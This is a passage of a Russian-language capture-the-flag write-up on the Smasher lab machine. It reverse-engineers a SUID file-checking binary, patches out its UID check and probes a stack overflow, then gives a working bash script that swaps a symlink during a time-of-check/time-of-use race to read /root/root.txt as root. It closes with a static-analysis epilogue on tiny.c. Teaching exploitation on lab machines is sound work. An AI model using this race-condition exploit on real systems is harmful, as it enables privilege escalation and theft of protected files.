Все начинает обретать смысл… После некоторого зависания (около секунды) checker
заключил: UID владельца файла — 1001. Очевидно, что под 1001-м номером в системе числится сам пользователь smasher.
smasher@smasher:~$ ls -la test.txt
-rw-rw-r-- 1 smasher smasher 11 Nov 9 21:07 test.txt
smasher@smasher:~$ id
uid=1001(smasher) gid=1001(smasher) groups=1001(smasher)
Еще кое-что интересное.
smasher@smasher:~$ checker /usr/bin/checker
[+] Welcome to file UID checker 0.1 by dzonerzy
File UID: 0
Data:
ELF
Если попросить исполняемый файл проверить самого себя, то в ответ мы получим, что UID равен 0. Логично: у нас есть доступ к файлу, но его владелец — root.
smasher@smasher:~$ checker /etc/shadow
[+] Welcome to file UID checker 0.1 by dzonerzy
Access failed , you don't have permission!
Попытка открыть файл, к которому у нас нет доступа, приведет к сообщению Access failed , you don't have permission!
.
smasher@smasher:~$ checker /etc/passwd
[+] Welcome to file UID checker 0.1 by dzonerzy
Segmentation fault
Наконец, если передать файл большего размера, то checker
упадет с ошибкой сегментации.
Что ж, самое время для небольшой задачи на реверс.
Анализ checker
Перебросим бинарь на Kali с помощью nc
для дальнейшего анализа.
Играем в реверс-инженеров
В прошлой статье мы использовали Ghidra в качестве альтернативы IDA Pro, да и отдельная статья, посвященная сравнению этих инструментов, выходила на «Хакере». Основная фишка «Гидры» в том, что она предоставляет опенсорсный (в отличии от всяких IDA и Hopper) плагин-декомпилятор для генерации псевдокода — а это очень облегчает процесс реверса. Сегодня рассмотрим еще один способ использовать этот плагин.
В последнем релизе Cutter — графическая оболочка легендарного Radare2 — обзавелся гидровским модулем для декомпиляции прямо «из коробки» (раньше его нужно было ставить отдельно). Если тебе по какой-то причине не нравится Ghidra в целом, но при этом ты хочешь смотреть код на C, то Cutter — твой выбор.
В главном окне программы появилась вкладка Decompiler — она как раз отвечает за вывод информации от плагина r2ghidra-dec
.
Ну и, конечно, здесь есть привычное графовое представление.
Вот что у меня получилось после небольших косметических правок псевдокода функции main
.
// checker-main.c
int main(int argc, char **argv) {
if (getuid() == 0x3e9) {
puts("[+] Welcome to file UID checker 0.1 by dzonerzy\n");
if (argc < 2) {
puts("Missing arguments");
}
else {
filename = argv[1];
buf_stat = malloc(0x90);
if (stat(filename, buf_stat) == 0) {
if (access(filename, 4) == 0) {
char file_contents[520];
setuid(0);
setgid(0);
sleep(1);
strcpy(file_contents, ReadFile(arg1));
printf("File UID: %d\n", (uint64_t)*(uint32_t *)((int64_t)buf_stat + 0x1c));
printf("\nData:\n%s", (int64_t)&file_contents + 4);
} else {
puts("Acess failed , you don\'t have permission!");
}
} else {
puts("File does not exist!");
}
}
rax = 0;
} else {
sym.imp.puts("You\'re not \'smasher\' user please level up bro!");
rax = 0xffffffff;
}
return rax;
}
Отсюда можно получить почти полное представление о том, как работает checker
:
- Проверка настоящего user ID (функция
getuid
). Если он равен1001
(или0x3e9
в шестнадцатеричном виде), то выполнение продолжается, иначе — вывод сообщения о необходимости левел-апа и завершение работы. - Проверка количества переданных аргументов. Если их больше одного, то выполнение продолжается, иначе — вывод сообщения о нехватке аргументов и завершение работы.
- Проверка существования файла, переданного в первом аргументе. Если он существует, то выполнение продолжается, иначе — вывод сообщения об отсутствии такого файла и завершение работы.
- Проверка доступа к чтению файла у владельца процесса. Если пользователь, запустивший
checker
, может читать файл, то выполнение продолжается, иначе — вывод сообщения о нехватке привилегий и завершение работы. - Если все проверки пройдены, то:
- в стеке создается буфер
file_contents
размером 520 байт; - вызываются функции
setuid
иsetgid
(они обеспечивают чтение файла, к которому у нас есть изначальный доступ, от имени root); - в буфер
file_contents
с помощью небезопасной функцииstrcpy
копируется результат работы сторонней функцииReadFile
; - уход в сон на одну секунду (та самая задержка, которую я изначально принял за «зависание» программы);
- вывод сообщений, содержащих UID владельца файла и внутренности того самого файла.
- в стеке создается буфер
Какие выводы можно сделать из проведенного анализа?
Во-первых, в этом файле тоже есть уязвимость переполнения стека, ведь в коде используется strcpy
— а она копирует содержимое файла в статический буфер на стек. Вот, кстати, как выглядит сама функция чтения содержимого файла ReadFile
.
// checker-ReadFile.c
int64_t sym.ReadFile(char *arg1)
{
int32_t iVar1;
int32_t iVar2;
int64_t iVar3;
int64_t ptr;
ptr = 0;
iVar3 = sym.imp.fopen(arg1, 0x400c68);
if (iVar3 != 0) {
sym.imp.fseek(iVar3, 0, 2);
iVar1 = sym.imp.ftell(iVar3);
sym.imp.rewind(iVar3);
ptr = sym.imp.malloc((int64_t)(iVar1 + 1));
iVar2 = sym.imp.fread(ptr, 1, (int64_t)iVar1, iVar3);
*(undefined *)(ptr + iVar1) = 0;
if (iVar1 != iVar2) {
sym.imp.free(ptr);
ptr = 0;
}
sym.imp.fclose(iVar3);
}
return ptr;
}
Здесь все совсем просто: открывается файл, выделяется нужный объем памяти, чтобы содержимое вместилось целиком, далее чтение данных и возвращение указателя на область, куда было загружено содержимое файла.
Во-вторых, у нас есть возможность провести атаку по времени. Между проверкой доступа к указанному файлу (if (access(filename, 4) == 0)
) и самим чтением содержимого есть окно в одну секунду. Это значит, что мы можем успеть подменить файл на любой другой (даже тот, к которому у нас нет доступа) — и он все равно будет прочитан, ведь к этому моменту checker
уже получил SUID-бит (setuid(0); setgid(0)
).
Реализуем эту атаку для чтения root-флага, но сначала узнаем, получится ли сорвать стек при выполнении strcpy
.
strace
Откровенно говоря, такой анализ можно провести, имея доступ всего к одной утилите — strace. Это стандартный инструмент для отслеживания системных вызовов процесса в Linux. Я приведу его вывод, оставив только значимую для нас информацию.
root@kali:~# strace ./checker checker
execve("./checker", ["./checker", "checker"], 0x7fff857edf88 /* 47 vars */) = 0
...
getuid() = 0
...
write(1, "[+] Welcome to file UID checker "..., 48[+] Welcome to file UID checker 0.1 by dzonerzy
...
stat("checker", {st_mode=S_IFREG|0750, st_size=13617, ...}) = 0
access("checker", R_OK) = 0
setuid(0) = 0
setgid(0) = 0
nanosleep({tv_sec=1, tv_nsec=0}, 0x7fff72ad99c0) = 0
openat(AT_FDCWD, "checker", O_RDONLY) = 3
...
lseek(3, 12288, SEEK_SET) = 12288
read(3, "\240\5@\0\0\0\0\0\240\5\0\0\0\0\0\0\260\1\0\0\0\0\0\0\5\0\0\0\30\0\0\0"..., 1329) = 1329
lseek(3, 0, SEEK_SET) = 0
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\2\0>\0\1\0\0\0\260\10@\0\0\0\0\0"..., 12288) = 12288
read(3, "\240\5@\0\0\0\0\0\240\5\0\0\0\0\0\0\260\1\0\0\0\0\0\0\5\0\0\0\30\0\0\0"..., 4096) = 1329
close(3) = 0
write(1, "File UID: 0\n", 12File UID: 0
...
write(1, "\nData:\n", 7
...
write(1, "\177ELF\2\1\1", 7ELF) = 7
exit_group(0) = ?
+++ exited with 0 +++
Как можно видеть, результат почти полностью отражает ту текстовую блок-схему, которую мы набросали после анализа в Cutter.
Обход ограничения UID на запуск
Так как программой может успешно пользоваться только пользователь с UID 1001, у нас не получится просто так запустить его на своей машине. Чтобы открыть checker
в дебаггере, нужно обойти это ограничение. На ум приходят сразу несколько способов.
Первый вариант — создать пользователя smasher с нужным порядковым номером на Kali.
root@kali:~# useradd -u 1001 -m smasher
root@kali:~# smasher su smasher
$ python -c 'import pty; pty.spawn("/bin/bash")'
smasher@kali:/root/htb/boxes/smasher$ whoami
smasher
После этого я смогу запустить checker
.
smasher@kali:/root/htb/boxes/smasher$ ./checker
[+] Welcome to file UID checker 0.1 by dzonerzy
Missing arguments
Второй вариант — пропатчить бинарь. Для этого найдем машинное представление инструкции, которая отвечает за проверку UID (по расположению числа 0x3e9
).
root@kali:~# objdump -D checker | grep -A1 -B1 0x3e9
400a93: e8 38 fd ff ff callq 4007d0 <getuid@plt>
400a98: 3d e9 03 00 00 cmp $0x3e9,%eax
400a9d: 74 14 je 400ab3 <main+0x38>
Заменим 0x3e9
на 0x0
, чтобы запускать checker
от имени root. Это можно сделать как консольными утилитами (тем же всемогущим vi
), так и графическими (например, ghex
). Я остановлюсь на первом способе.
root@kali:~# vim checker
(vim) :% !xxd
(vim) /3de9
(vim) Enter + i
3de9030000 => 9083F80090
(vim) Escape
(vim) :w
(vim) :% !xxd -r
(vim) :wq
root@kali:~# ./checker checker
...
Я заменил машинный код 3d e9 03 00 00
, отвечающий за инструкцию cmp eax,0x3e9
, на 90 83 F8 00 90
— что эквивалентно cmp eax,0x0
с добитыми до оригинальной длины инструкциями NOP (0x90
). Ассемблировать мнемоники в опкод (и наоборот) можно с помощью Ropper или онлайн.
Возможен ли срыв стека?
Откроем checker
в GDB PEDA и попробуем перезаписать RIP. Для этого я сгенерю паттерн длиной 1000 байт, сохраню в файл p.txt
и подам его на вход чекеру.
gdb-peda$ pattern create 1000 p.txt
Writing pattern of 1000 chars to filename "p.txt"
gdb-peda$ r p.txt
...
Программа ожидаемо упала. Посмотрим содержимое регистра RSP.
gdb-peda$ x/xg $rsp
0x7fffffffde40: 0x00007fffffffe158
В RSP содержится указатель. Если пойти дальше и взглянуть на содержимое указателя, мы найдем часть нашей циклической последовательности.
gdb-peda$ x/xs 0x00007fffffffe158
0x7fffffffe158: "BWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$t"...
gdb-peda$ pattern offset BWABuABXABv
BWABuABXABv found at offset: 776
Из-за того, что в RSP сохраняется не само содержимое файла, а указатель на него, у меня не вышло получить контроль над RIP. Не уверен, возможно ли это в принципе, так что пойдем по пути наименьшего сопротивления и переключимся на атаку по времени.
Гонка за root.txt
Стратегия проста до безобразия:
- создаем фейковый файл, который мы заведомо можем читать;
- создаем символическую ссылку, указывающую на него;
- асинхронно (в форке процесса основного шелла) скармливаем файл чекеру;
- ждем полсекунды, чтобы попасть на секунду «ожидания»;
- подменяем символическую ссылку на любой другой файл (только не слишком большой, чтобы не словить ошибку сегментации).
#!/bin/bash
# Использование: bash checker-exploit.sh <ФАЙЛ>
# Создаем пустой файл, который будет нашим «прикрытием»
touch .fake
# Создаем связующее звено — символическую ссылку на .fake, которую мы подменим далее
ln -s .fake .pivot
# На фоне запускаем чекер и ждем полсекунды, чтобы попасть в окно секундной задержки
checker .pivot &
sleep 0.5
# Подменяем символическую ссылку на другой файл, переданный скрипту в первом аргументе
ln -sf $1 .pivot
# Ждем еще полсекунды и чистим следы
sleep 0.5
rm .fake .pivot
smasher@smasher:~$ ./checker-exploit.sh /root/root.txt
[+] Welcome to file UID checker 0.1 by dzonerzy
File UID: 1001
Data:
077af136????????????????????????
Вот и все: Сокрушитель повержен, root-флаг у нас!
Эпилог
Анализ tiny.c с помощью PVS-Studio
Когда я нашел уязвимость в исходнике tiny.c
, мне пришла в голову странная мысль: посмотреть, что скажет о качестве кода и возможных проблемах с ним статический анализатор. Ранее мне доводилось работать только с PVS-Studio от отечественных разработчиков — им-то я и решил удовлетворить свое любопытство. Не до конца уверен, что именно я ожидал увидеть в отчете, ведь переполнение стека здесь носит неочевидный характер. «Небезопасные» функции напрямую в нем не виноваты — и странно ожидать, что анализатор найдет опасность в вызове или реализации функции url_decode
. Но мне все же было интересно.
Я загрузил и установил PVS-Studio на Kali.
root@kali:~# wget -q -O - https://files.viva64.com/etc/pubkey.txt | sudo apt-key add -
root@kali:~# sudo wget -O /etc/apt/sources.list.d/viva64.list https://files.viva64.com/etc/viva64.list
root@kali:~# sudo apt update
root@kali:~# sudo apt install pvs-studio -y
Потом добавил две строки в начало исходного кода tiny.c
, как показано на официальном сайте программы, — для активации академической лицензии.
// This is a personal academic project. Dear PVS-Studio, please check it.
// PVS-Studio Static Code Analyzer for C, C++, C#, and Java: http://www.viva64.com
Я все еще студент, поэтому чист перед своей совестью и законом.
Далее я закомментировал еще две строки в tiny.c
— чтобы GCC не жаловался, что он не знает о существовании директивы SO_REUSEPORT
(проблемы переносимости).
// if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEPORT, (const char*)&reuse, sizeof(reuse)) < 0)
// perror("setsockopt(SO_REUSEPORT) failed");
Теперь я могу собрать проект при помощи make
через трассировку PVS-Studio (кстати, здесь неявно используется уже знакомый нам strace
).
pvs-studio-analyzer trace -- make
Команда создала файл strace_out
— он содержит результаты трассировки и будет использован на следующем этапе.
Анализируем процесс сборки с помощью analyze
, указав имя выходного файла через флаг -o
.
pvs-studio-analyzer analyze -o project.log
Using tracing file: strace_out
[100%] Analyzing: tiny.c
Analysis finished in 0:00:00.28
The results are saved to /root/htb/boxes/smasher/pvs-tiny/project.log
И, наконец, попросим статический анализатор сгенерировать расширенный финальный отчет в формате HTML.
plog-converter -a GA:1,2 -t fullhtml project.log -o .
Analyzer log conversion tool.
Copyright (c) 2008-2019 OOO "Program Verification Systems"
PVS-Studio is a static code analyzer and SAST (static application security
testing) tool that is available for C and C++ desktop and embedded development,
C# and Java under Windows, Linux and macOS.
Total messages: 16
Filtered messages: 13
Теперь я могу открыть fullhtml/index.html
, чтобы ознакомиться с отчетом.
Большинство переживаний анализатора связаны с теоретическими переполнениями при использовании функций sscanf
и sprintf
— в нашем случае их можно отнести к ложноположительным срабатываниям. Однако ни на что другое PVS-Studio в реализации parse_request
не пожаловался.
О чем это говорит? О том, что верификация кода все еще трудно поддается автоматизации — даже в условиях современных технологий.